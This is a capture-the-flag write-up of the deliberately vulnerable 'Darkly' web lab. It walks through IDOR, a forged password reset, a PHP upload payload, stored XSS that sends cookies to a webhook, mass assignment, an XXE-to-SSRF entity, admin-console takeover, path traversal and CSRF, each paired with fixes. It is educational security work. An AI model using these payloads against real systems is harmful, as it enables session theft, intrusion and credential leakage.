&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Reading note:&lt;/strong&gt; this article is a narrative highlight reel — the story of how each flag fell, told for readers rather than evaluators. It compresses and re-orders some of the raw exploitation steps for pace. Every exploit script, full technical explanation, flag, and screenshot lives in the &lt;a href=&quot;https://github.com/onevilx/darkly&quot;&gt;onevilx/darkly&lt;/a&gt; repository — that&apos;s the complete, evaluation-grade write-up.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Every web developer eventually inherits an application that &quot;works.&quot; It authenticates users, it renders forums, it uploads avatars, it resets passwords. The forms submit, the pages load, the demo passes. And yet, sitting silently beneath that functioning surface, is an entire second application — the one an attacker sees. Where the developer sees a &lt;em&gt;profile page&lt;/em&gt;, the attacker sees an object reference they can increment. Where the developer sees an &lt;em&gt;avatar uploader&lt;/em&gt;, the attacker sees a path to arbitrary code execution. Where the developer sees a &lt;em&gt;helpful password hint&lt;/em&gt;, the attacker sees an unsalted MD5 hash begging to meet &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Darkly&lt;/strong&gt; is the 42 Network&apos;s deliberate exercise in learning to see that second application. It is a purpose-built, intentionally vulnerable web platform — a fictional campus portal with a forum, an agenda, a grade viewer, a newsletter, and a staff area — seeded with, per the project subject, &lt;strong&gt;19 distinct vulnerabilities hiding 10 flags&lt;/strong&gt;. The subject splits the hunt in two: the &lt;strong&gt;mandatory part&lt;/strong&gt; asks for 6 flags (4 won by escalating privilege inside the app step by step until reaching administrator, 2 more of your choice) across 10 explained vulnerabilities, and the &lt;strong&gt;bonus part&lt;/strong&gt;, gated on a perfect mandatory score, asks for 4 additional flags (10 total) across 5 more vulnerabilities, at least one of which mints no flag at all. The mission itself is uncompromising and narrow: &lt;em&gt;the target is the web application, and nothing else.&lt;/em&gt; No decompiling the VM, no attacking the operating system, no shortcuts through the appliance. The whole point of Darkly is to exploit the website the way a real adversary would — from the outside, one HTTP request at a time.&lt;/p&gt;
&lt;p&gt;This article is an exhaustive walkthrough of that engagement: the reconnaissance, the six mandatory flags and four bonus flags I recovered (ten in total), the ten additional OWASP-class weaknesses I documented for the bonus, and the way individual bugs chain into a full authentication bypass.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Reconnaissance: Reading the Application Like an Attacker&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/general/interaction.png&quot; alt=&quot;The Darkly platform as an unauthenticated guest&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The platform greets an unauthenticated visitor as a &lt;strong&gt;guest&lt;/strong&gt;. There is a sign-in form, a forum, an agenda, and various campus links — all the surface area of a normal portal. The first instinct of a defender is to log in. The first instinct of an attacker is to catalogue what is reachable &lt;em&gt;without&lt;/em&gt; logging in, and to read every byte the server volunteers for free.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/general/recon1.png&quot; alt=&quot;robots.txt disclosing sensitive endpoints&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The obvious starting point is &lt;code&gt;robots.txt&lt;/code&gt;. It is a confession dressed as a courtesy: a file whose entire purpose is to &lt;em&gt;name the endpoints the operator wishes you would not visit&lt;/em&gt;. Darkly&apos;s &lt;code&gt;robots.txt&lt;/code&gt; disallows a set of high-value paths — some forbidden (403), some redirects, some 404s — but one of them, &lt;code&gt;/api/grades&lt;/code&gt;, is simply &lt;em&gt;public&lt;/em&gt; when it should not be. That single misconfiguration becomes flag #5 later; for now it goes in the notebook.&lt;/p&gt;
&lt;p&gt;The second discipline of recon is reading the HTML source, the response headers, and the deploy log. Darkly is generous here in a way that mirrors real applications far more than students expect. The pages carry:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x-powered-by: Python/3.11 FastAPI/0.104&lt;/code&gt; and &lt;code&gt;server: uvicorn/0.24.0&lt;/code&gt; — a precise stack fingerprint.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x-pocketbase: http://localhost:8090&lt;/code&gt; — a signpost pointing directly at the backend datastore.&lt;/li&gt;
&lt;li&gt;An HTML-comment &quot;deploy log&quot; on every page, in which the developers cheerfully admit their sins: &lt;em&gt;&quot;disabled defusedxml temporarily,&quot;&lt;/em&gt; &lt;em&gt;&quot;added telemetry (it&apos;s just a console.log),&quot;&lt;/em&gt; &lt;em&gt;&quot;migrate session cookie to httponly=true — ticket #4201.&quot;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Those comments are not flavour text. Each one is a &lt;em&gt;root cause&lt;/em&gt; narrated by the very team that introduced it. &lt;code&gt;defusedxml temporarily disabled&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; the XXE (flag #7). &lt;code&gt;httponly not yet migrated&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; why stored XSS can steal a session cookie (flag #3). An attacker who reads the developers&apos; own words has, in effect, been handed the threat model. The lesson lands before a single exploit fires: &lt;em&gt;your application talks, and it does not know how to keep a secret.&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Flag #1 — Broken Access Control (IDOR): &quot;Your Profile Is Mine&quot;&lt;/h2&gt;
&lt;p&gt;Broken Access Control tops the OWASP Top 10 for a reason — it is the most common, the most impactful, and the easiest to introduce by accident. It is what happens when the server checks &lt;em&gt;whether you are authenticated&lt;/em&gt; but forgets to check &lt;em&gt;whether you are authorised for this specific object&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Browsing the forum as a guest, I followed a &quot;scheduled maintenance&quot; post to a &lt;strong&gt;View Profile&lt;/strong&gt; link. That link led to another user&apos;s profile — internal data, visible to an unauthenticated visitor. There was no ownership check between the requester and the resource. The profile even carried a private note captioned &lt;em&gt;&quot;Only visible to wil&quot;&lt;/em&gt; — visible, of course, to me.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln01/idor2.png&quot; alt=&quot;Following the profile link as a guest&quot; /&gt;
&lt;img src=&quot;/darkly/vuln01/idor3.png&quot; alt=&quot;The exposed profile and its flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{1d0r_ur_pr0f1l3_1s_m1n3}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Insecure Direct Object Reference (IDOR)&lt;/strong&gt; is the concrete shape of Broken Access Control here: the object identifier in the URL is trusted, and whoever holds it is served. Access control must be enforced &lt;em&gt;server-side, per object, on every request&lt;/em&gt; — never inferred from the mere possession of a link or an ID. This single class of flaw recurs throughout Darkly, and in the real world it recurs throughout the industry.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Flag #2 — Account Takeover → Unrestricted File Upload&lt;/h2&gt;
&lt;p&gt;With guest-level surface exhausted, the natural pivot is authentication. The forum contains a student publicly complaining that he &lt;em&gt;still hasn&apos;t changed his password&lt;/em&gt; — and, thanks to the same profile exposure from §2, his email address is readable. Two of the three ingredients for account takeover are already on the table.&lt;/p&gt;
&lt;p&gt;The third comes from the password-reset flow (which I dissect properly in §5). It let me set a new password for that student&apos;s account. Once inside, the interesting surface changes entirely: a logged-in student can post to the forum, search, edit their profile — and &lt;strong&gt;upload an avatar&lt;/strong&gt;. An upload endpoint is a connection to the server&apos;s filesystem, and the only question that matters is: &lt;em&gt;does it validate what it accepts?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It did not. &lt;img src=&quot;/darkly/vuln02/ato10.png&quot; alt=&quot;The avatar uploader — a write path to the server filesystem&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I uploaded a trivial PHP payload as a proof of concept:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo system(&apos;id&apos;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server accepted it and executed it, surrendering the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln02/ato11.png&quot; alt=&quot;Code execution and the upload flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{unr3str1ct3d_upl0ad_g0_brrr}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A note on responsible proof-of-concept.&lt;/strong&gt; The payload above is a &lt;em&gt;minimal demonstrator&lt;/em&gt;, not a weaponised shell. In a real engagement this is the exact moment a reverse shell would be staged — but the goal of a report is to &lt;em&gt;prove exploitability&lt;/em&gt;, not to cause damage. Show the mechanism, capture the evidence, and stop.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Unrestricted file upload&lt;/strong&gt; is dangerous precisely because it converts &quot;store this file&quot; into &quot;run my code.&quot; Defence requires a defence-in-depth stack: validate the MIME type &lt;em&gt;and&lt;/em&gt; the extension against an allow-list, rewrite filenames, store uploads outside the web root, serve them from a domain that never executes code, and strip execute permissions. Any single one of these, correctly applied, breaks the chain.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Flag #3 — Stored XSS Against the Moderation Bot&lt;/h2&gt;
&lt;p&gt;The forum advertises a feature that is really a challenge: &lt;em&gt;&quot;Every new post is opened by our automated moderation bot for review, usually within a minute.&quot;&lt;/em&gt; Translated from marketing into threat-model terms: &lt;strong&gt;an automated, privileged client will fetch and render my attacker-controlled content.&lt;/strong&gt; That is the textbook precondition for &lt;strong&gt;stored cross-site scripting&lt;/strong&gt; — the payload is persisted server-side and later executed in &lt;em&gt;someone else&apos;s&lt;/em&gt; browser context.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln03/sxss1.png&quot; alt=&quot;The forum&apos;s moderation-bot notice&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I planted a comment carrying a cookie-exfiltration script. Because the moderation bot renders posts as it reviews them, the payload fires &lt;em&gt;in the bot&apos;s session&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  var webhookUrl = &quot;https://webhook.site/&amp;lt;my-unique-id&amp;gt;&quot;;
  fetch(webhookUrl + &quot;?c=&quot; + encodeURIComponent(document.cookie));
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln03/sxss4.png&quot; alt=&quot;The payload stored in a comment&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Within the promised minute, my webhook received a request carrying the bot&apos;s cookies — and the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln03/sxss5.png&quot; alt=&quot;Exfiltrated cookies and the stored-XSS flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{xss_st0r3d_1s_n0t_4_f34tur3_w1l}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two properties of the platform combine to make this fatal rather than merely annoying. First, the input is rendered &lt;strong&gt;without output encoding&lt;/strong&gt;. Second, the session cookie is &lt;strong&gt;not &lt;code&gt;HttpOnly&lt;/code&gt;&lt;/strong&gt;, so &lt;code&gt;document.cookie&lt;/code&gt; hands JavaScript the raw session token (see §13.7). Fix either one and the exfiltration breaks: context-aware output encoding stops the script from executing at all; &lt;code&gt;HttpOnly&lt;/code&gt; stops a script that &lt;em&gt;does&lt;/em&gt; execute from reading the cookie. A strict &lt;code&gt;Content-Security-Policy&lt;/code&gt; would be the third, independent line of defence. Darkly ships none of them.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Flag #4 — Insecure Password Reset: When Your &quot;Token&quot; Is Just MD5(email)&lt;/h2&gt;
&lt;p&gt;The reset flow that enabled the account takeover in §3 deserves its own dissection, because it is a masterclass in &lt;em&gt;client-side security theatre&lt;/em&gt;. The tip-off, fittingly, came from a student — &lt;code&gt;benjamin&lt;/code&gt; — publicly outing the bug on himself in the forum: &lt;em&gt;&quot;Locked myself out last night and used the password reset. The link worked instantly — no email, the token was just sitting in the URL. And get this: that token is literally the md5 of my email address. Anyone could reset anyone&apos;s account this way — and once they&apos;re in, your account recovery code is just sitting there on your profile settings page.&quot;&lt;/em&gt; He was right on both counts, and he&apos;d just told me exactly where the flag would be sitting once I was in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln07/forpass1.png&quot; alt=&quot;benjamin&apos;s forum PSA outing the reset flow — and where the flag lives&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Requesting a reset for his own email sends back a link containing a long, official-looking &quot;security token.&quot; It looks like entropy. It is not. Decoding it confirmed his claim exactly — it is nothing more than the &lt;strong&gt;MD5 hash of the account&apos;s email address&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln07/forpass4.png&quot; alt=&quot;The reset token equals md5(email)&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;token == md5(victim_email)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since email addresses are public (§2), &lt;em&gt;anyone can compute any user&apos;s reset token offline&lt;/em&gt; and drive the reset to completion without ever receiving the email. The server was not validating the token server-side against stored state — it was trusting a value the attacker can reproduce at will. I set a new password with the forged token, logged in as &lt;code&gt;benjamin&lt;/code&gt;, and — exactly as he&apos;d described — the flag was sitting in plaintext on &lt;code&gt;/profile/me/settings&lt;/code&gt;, under a box literally labelled &quot;Account recovery code&quot;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln07/forpass7.png&quot; alt=&quot;The &amp;quot;Account recovery code&amp;quot; box on /profile/me/settings, holding the flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{r3s3t_t0k3n_w4s_just_md5_lol}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A password-reset token must be &lt;strong&gt;high-entropy, single-use, time-limited, and bound server-side to the account&lt;/strong&gt; — generated with a CSPRNG, stored (hashed) in the database, and invalidated on use. A deterministic hash of a public identifier is not a token; it is a formula the attacker already knows.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. Flag #5 — The Hidden-in-Plain-Sight API Endpoint&lt;/h2&gt;
&lt;p&gt;Back to that &lt;code&gt;robots.txt&lt;/code&gt; note from recon. Most of its disallowed paths behaved defensively — 403s and redirects. But &lt;code&gt;/api/grades&lt;/code&gt; answered a guest request with data it should never have exposed, including the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln04/api2.png&quot; alt=&quot;The unprotected /api/grades endpoint returning a flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{md5_1s_4_n4m3pl4t3_n0t_4_l0ck}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The lesson is blunt: &lt;strong&gt;&lt;code&gt;robots.txt&lt;/code&gt; is not access control.&lt;/strong&gt; It is a politeness convention for well-behaved crawlers, and to an attacker it is a curated map of exactly where to look. Sensitive endpoints must be protected by authentication and authorisation, not by a request that they please not be visited.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Flag #6 — Mass Assignment: Patch Your Own Role&lt;/h2&gt;
&lt;p&gt;This is my favourite bug in the whole platform, because it is the purest example of the server trusting the client to describe &lt;em&gt;itself&lt;/em&gt;. As a student, my privileges were minimal. Escalating meant becoming &lt;strong&gt;campus staff&lt;/strong&gt; — and a hint in the &lt;code&gt;/staff&lt;/code&gt; area all but drew the map: &lt;em&gt;try &lt;code&gt;PATCH /api/profile&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Using Burp Suite&apos;s Repeater to craft the request by hand, I sent a &lt;code&gt;PATCH&lt;/code&gt; to &lt;code&gt;/api/profile&lt;/code&gt; with a body that included a field I was never meant to control:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PATCH /api/profile HTTP/1.1
Host: localhost:4942
Content-Type: application/json
Cookie: session=&amp;lt;my student session&amp;gt;

{&quot;role&quot;:&quot;cadet&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln05/ma7.png&quot; alt=&quot;The PATCH /api/profile request carrying a privileged field&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The server responded &lt;code&gt;200 OK&lt;/code&gt;, applied the change, and my account climbed the ladder — unlocking a &lt;strong&gt;Staff Area&lt;/strong&gt; with a dashboard, and the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln05/ma10.png&quot; alt=&quot;The unlocked staff dashboard and its flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{just_p4tch_y0ur_0wn_r0l3_lol}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Mass assignment&lt;/strong&gt; occurs when a framework binds request fields directly onto a data model without an allow-list, so the client can set fields the developer assumed were internal — &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;is_admin&lt;/code&gt;, &lt;code&gt;balance&lt;/code&gt;, &lt;code&gt;verified&lt;/code&gt;. The fix is to &lt;em&gt;never&lt;/em&gt; bind privileged fields from user input: use explicit input DTOs / allow-listed fields, and make authorisation-relevant attributes writable only through a separate, authorised code path.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. Flag #7 — XXE Escalating to SSRF: Reaching &lt;code&gt;localhost&lt;/code&gt; From the Outside&lt;/h2&gt;
&lt;p&gt;The agenda feature accepts an &lt;strong&gt;XML upload&lt;/strong&gt;, and the deploy log has already confessed that &lt;code&gt;defusedxml&lt;/code&gt; was &lt;em&gt;&quot;disabled temporarily&quot;&lt;/em&gt; six months ago. An XML parser with external-entity resolution enabled is a &lt;strong&gt;Server-Side Request Forgery&lt;/strong&gt; primitive wearing a data-import costume: it can be made to fetch URLs &lt;em&gt;from the server&apos;s own network position&lt;/em&gt;, including &lt;code&gt;localhost&lt;/code&gt; services an outside attacker can never reach directly.&lt;/p&gt;
&lt;p&gt;A hint inside &lt;code&gt;/staff/dashboard&lt;/code&gt; pointed at an internal configuration endpoint, &lt;code&gt;/internal/config&lt;/code&gt;, that returns 403 to external callers. So I let the &lt;em&gt;server&lt;/em&gt; fetch it for me, via an external XML entity:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE agenda [
  &amp;lt;!ENTITY xxe SYSTEM &quot;http://127.0.0.1:4942/internal/config&quot;&amp;gt;
]&amp;gt;
&amp;lt;agenda&amp;gt;
  &amp;lt;event&amp;gt;
    &amp;lt;title&amp;gt;&amp;amp;xxe;&amp;lt;/title&amp;gt;
    &amp;lt;date&amp;gt;2042-01-15&amp;lt;/date&amp;gt;
  &amp;lt;/event&amp;gt;
&amp;lt;/agenda&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln06/xxetossrf6.png&quot; alt=&quot;The internal config leaked back through the XML entity&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The parser resolved the entity server-side and reflected the internal config straight back into the response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;jwt_secret&quot;: &quot;42network&quot;,
  &quot;pb_admin_email&quot;: &quot;admin@42network.local&quot;,
  &quot;pb_admin_password&quot;: &quot;Darkly42Admin!&quot;,
  &quot;app_version&quot;: &quot;1.0.0&quot;,
  &quot;campus&quot;: &quot;wilcity&quot;,
  &quot;darkly_flag&quot;: &quot;FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the single most valuable request in the entire engagement — not for its flag, but for its &lt;strong&gt;loot&lt;/strong&gt;. It leaks the JWT signing secret (&lt;code&gt;42network&lt;/code&gt;, weaponised in §13.3) &lt;em&gt;and&lt;/em&gt; the PocketBase admin credentials (weaponised immediately in §9). One misconfigured XML parser dismantles the trust boundary between &quot;external attacker&quot; and &quot;internal service.&quot; Re-enable &lt;code&gt;defusedxml&lt;/code&gt; (or disable DTD/entity processing entirely), and never expose secrets through any server-reachable config route.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;9. Flag #8 — Privilege Escalation via the PocketBase Admin Console&lt;/h2&gt;
&lt;p&gt;The XXE leak from §8 handed me the PocketBase admin email and password, and the &lt;code&gt;x-pocketbase&lt;/code&gt; header from recon told me exactly where to use them: the admin console at &lt;code&gt;http://localhost:8090/_/&lt;/code&gt;. Logging in as admin dissolves the application&apos;s entire access-control model — the datastore has no notion of the app&apos;s &quot;roles,&quot; only full CRUD over every collection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln08/pea1.png&quot; alt=&quot;The PocketBase admin console — every user and collection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From there I could read every user, every collection, and edit any record — including elevating my own account from &lt;code&gt;cadet&lt;/code&gt; to &lt;code&gt;god&lt;/code&gt; and setting my level arbitrarily. Enumerating the collections, an &lt;code&gt;internal_audit&lt;/code&gt; collection held the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln08/pea6.png&quot; alt=&quot;The internal_audit collection holding the flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{th3_und3rsc0r3_sl4sh_kn0ws_th3_w4y}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The takeaway is about &lt;strong&gt;blast radius&lt;/strong&gt;. The upstream sin was leaking credentials (§8); the reason that sin is catastrophic is that the admin console was reachable and the credentials were static and shared. Backend admin interfaces must never be exposed to untrusted networks, must use strong unique credentials from a secrets manager, and must sit behind an independent authentication boundary so that one leaked config file cannot become total database compromise.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;10. Flag #9 — Local File Inclusion via Path Traversal&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;/project&lt;/code&gt; page references a document, &lt;code&gt;faq_darkly.pdf&lt;/code&gt;, through a file-serving parameter — the classic shape of a &lt;strong&gt;Local File Inclusion&lt;/strong&gt; sink. Direct attempts at &lt;code&gt;/etc/passwd&lt;/code&gt; returned 403, and naive traversal returned 404, so the endpoint was &lt;em&gt;partially&lt;/em&gt; hardened. The breakthrough came, once again, from reading the response headers, which advertised the backup configuration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln09/lfi5.png&quot; alt=&quot;Response headers disclosing the backup layout and target file&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x-backup-schedule: daily@03:00
x-backup-dest:     localhost:/opt/pocketbase/pb_data
x-backup-exclude:  data/private_notes.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server had just &lt;em&gt;named the sensitive file for me&lt;/em&gt; — &lt;code&gt;private_notes.txt&lt;/code&gt; — and roughly where it lived. After iterating on the traversal depth (the filter mishandled &lt;code&gt;../&lt;/code&gt; sequences at a particular depth rather than normalising the path), the file resolved and yielded the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln09/lfi8.png&quot; alt=&quot;The traversal resolving the private notes file and its flag&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FLAG{d0t_d0t_sl4sh_4ll_th3_w4y_d0wn}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Path-traversal defence is not string blocklisting — attackers have endless encodings for &lt;code&gt;../&lt;/code&gt;. The correct approach is to &lt;strong&gt;canonicalise&lt;/strong&gt; the resolved path and verify it remains inside an explicitly permitted base directory, or better, to abandon filesystem paths entirely and serve documents by opaque ID from a lookup table. And, as a recurring theme: &lt;em&gt;stop announcing your secrets in HTTP headers.&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;11. Flag #10 — CSRF: When &lt;code&gt;SameSite=Lax&lt;/code&gt; Is the Only Line of Defence&lt;/h2&gt;
&lt;p&gt;The last flag sits behind &lt;code&gt;POST /profile/me/settings&lt;/code&gt;, the endpoint that updates a logged-in user&apos;s &lt;code&gt;first_name&lt;/code&gt;, &lt;code&gt;last_name&lt;/code&gt;, and &lt;code&gt;campus&lt;/code&gt;. Inspecting the session cookie set at login showed exactly one defensive attribute:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set-cookie: session=eyJhbGciOiJIUzI1NiIs...; Path=/; SameSite=lax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No &lt;code&gt;Secure&lt;/code&gt;, no &lt;code&gt;HttpOnly&lt;/code&gt;. Just &lt;code&gt;SameSite=Lax&lt;/code&gt; — a &lt;em&gt;browser-side&lt;/em&gt; mitigation, not a server-side control. That distinction is the entire vulnerability.&lt;/p&gt;
&lt;p&gt;My first instinct was the classic &lt;code&gt;SameSite=Lax&lt;/code&gt; bypass: &lt;code&gt;Lax&lt;/code&gt; still allows the cookie on a top-level cross-site &lt;strong&gt;GET&lt;/strong&gt; navigation, so if the same state change could be triggered via &lt;code&gt;GET /profile/me/settings?first_name=...&lt;/code&gt;, a simple link click would carry the cookie. It didn&apos;t — the GET handler only renders the settings page; it never applies an update. That door is closed.&lt;/p&gt;
&lt;p&gt;So I went back to the more fundamental question: does the server itself validate who is asking? I sent the real &lt;code&gt;POST&lt;/code&gt; to Burp Repeater and attached a completely fabricated &lt;code&gt;Origin&lt;/code&gt; header, pointing at a domain I do not own:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /profile/me/settings HTTP/1.1
Origin: https://example.com
Cookie: session=&amp;lt;a valid session&amp;gt;

first_name=CSRF_ORIGIN_TEST&amp;amp;last_name=Doe&amp;amp;campus=Wilcity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/darkly/vuln10/csrf_origin2.png&quot; alt=&quot;Forged Origin header accepted, flag returned in the redirect&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The server accepted it without question — &lt;code&gt;302&lt;/code&gt;, and the flag was sitting in the redirect target:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location: /profile/me/settings?csrf_flag=FLAG{csrf_4ny_0r1g1n_1s_w3lc0m3}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;FLAG{csrf_4ny_0r1g1n_1s_w3lc0m3}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;A caveat worth stating precisely, because I tested it rather than assumed it.&lt;/strong&gt; I built the textbook exploit — an auto-submitting &lt;code&gt;&amp;lt;form method=&quot;POST&quot;&amp;gt;&lt;/code&gt; hosted on a separate origin — and drove it against the live app in a real, unmodified Chromium instance with the victim&apos;s cookie already set, exactly as a victim opening an attacker&apos;s page would experience it. The browser correctly withheld the &lt;code&gt;SameSite=Lax&lt;/code&gt; cookie on that cross-site POST, and the request bounced to &lt;code&gt;/login&lt;/code&gt;. &lt;strong&gt;The naive version of this attack does not work against a compliant modern browser.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That does not make the finding cosmetic. It relocates the real exposure to precisely the gap &lt;code&gt;SameSite=Lax&lt;/code&gt; does not cover: an attacker-controlled same-site subdomain (cookies scoped by &lt;code&gt;SameSite&lt;/code&gt; still travel across subdomains of the same registrable domain), an older or non-compliant browser or embedded webview, a proxy or browser extension replaying a captured request, or — as demonstrated above — anyone with the ability to issue the HTTP request directly. The server has &lt;strong&gt;zero defense-in-depth of its own&lt;/strong&gt;: no CSRF token, no &lt;code&gt;Origin&lt;/code&gt;/&lt;code&gt;Referer&lt;/code&gt; check. It is trusting a client-side cookie attribute to do a job that belongs on the server.&lt;/p&gt;
&lt;p&gt;The remediation is layered, deliberately: validate &lt;code&gt;Origin&lt;/code&gt; (falling back to &lt;code&gt;Referer&lt;/code&gt;) server-side on every state-changing request, and pair that with a synchronizer CSRF token bound to the session. &lt;code&gt;SameSite=Lax&lt;/code&gt; is a good default — it is not, on its own, a security boundary a server is entitled to rely on.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;12. The Chain: How Bugs Become One Total Compromise&lt;/h2&gt;
&lt;p&gt;Individually, each flag is a lesson. Together, they are a kill chain — and seeing the chain is the real skill Darkly teaches:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;IDOR (§2)&lt;/strong&gt; exposes a victim&apos;s email.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Insecure reset (§5)&lt;/strong&gt; — &lt;code&gt;md5(email)&lt;/code&gt; — turns that email into account takeover.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Account takeover (§3)&lt;/strong&gt; unlocks the avatar uploader.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unrestricted upload (§3)&lt;/strong&gt; yields code execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mass assignment (§7)&lt;/strong&gt; escalates role without any of the above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XXE→SSRF (§8)&lt;/strong&gt; leaks the JWT secret &lt;em&gt;and&lt;/em&gt; the PocketBase admin credentials.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PocketBase admin (§9)&lt;/strong&gt; converts those credentials into total database control.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weak/leaked JWT secret (§13.3)&lt;/strong&gt; lets an attacker forge a valid session for &lt;em&gt;any&lt;/em&gt; user with no password at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSRF (§11)&lt;/strong&gt; needs none of the above — any authenticated session at all is enough to forge a state-changing request, because the server never checks who&apos;s really asking.&lt;/li&gt;
